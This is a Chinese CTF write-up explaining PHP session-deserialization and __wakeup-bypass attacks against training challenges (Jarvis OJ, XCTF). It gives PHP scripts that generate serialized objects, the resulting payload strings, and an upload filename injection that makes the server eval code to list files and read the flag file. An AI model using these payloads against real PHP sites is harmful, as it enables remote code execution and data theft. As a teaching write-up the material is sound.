题目地址::32784/index.php
打开题目是源码:
先读取session,然后get传入phpinfo参数,然后创建对象,对象中构造函数给mdzz赋值phpinfo,析构函数执行eval,所以我们的目的是将mdzz构造为读取文件
,先随便传入参数,查看phpinfo中的参数,发现默认的反序列化机制是php-serialize,但是题目所使用php,那么这个两个机制再上文产生的漏洞我们已经了解,但是我们没法给session进行存储啊,所以就要用到上面session上传进度的session存储来存入我们想要的内容
构造上传表单 <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" value="123" /> <input type="file" /> <input type="submit" /> </form>
然后构造我们想要的payload,打印目录文件print_r(scandir(dirname(FILE)));,如果写入析构函数会eval执行
<?php class OowoO { public $mdzz; } $Lmg = new OowoO(); $Lmg->mdzz = "print_r(scandir(dirname(__FILE__)));"; echo serialize($Lmg); ?>生成的序列化字符串
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
我们用上传表单随便上传一个文件,抓包将filename改为
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
为什么要改filename,因为其会跟file数组保存到session中上面图片有说明
为啥要在字符串前加|,这个上面也说过,因为反序列化的机制不一样,|后会当做要反序列化的字符串
为什么要再"前加\,因为我们的字符串是放在filename=""双引号内要进行转义
发现成功读取到文件名,但是我们不知道文件目录,查看phpinfo(),查看当前脚本的运行路径
所以构造:print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));来读取这个文件
payload: <?php class OowoO { public $mdzz; } $Lmg = new OowoO(); $Lmg->mdzz = "print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));"; echo serialize($Lmg); ?>
生成的字符串,成功获得flag
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
漏洞利用版本:
php5<5.6.25
php7<7.0.10
漏洞产生原因
如果存在_wakeup方法,调用unserilize()方法前则先调用_wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时候,便会跳过_wakeup的执行
测试代码:
对比发现页面只执行了__destruct方法,从而__wakeup()失效 一个ctf例题(unserialize3)
题目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4821&page=1
打开题目直接是部分源码,看到wakeup函数应该想到是利用__wakeup()失效漏洞
题目源码:
构造payload:
<?php class xctf{ public $flag = '111'; } $Lmg = new xctf(); echo serialize($Lmg); ?>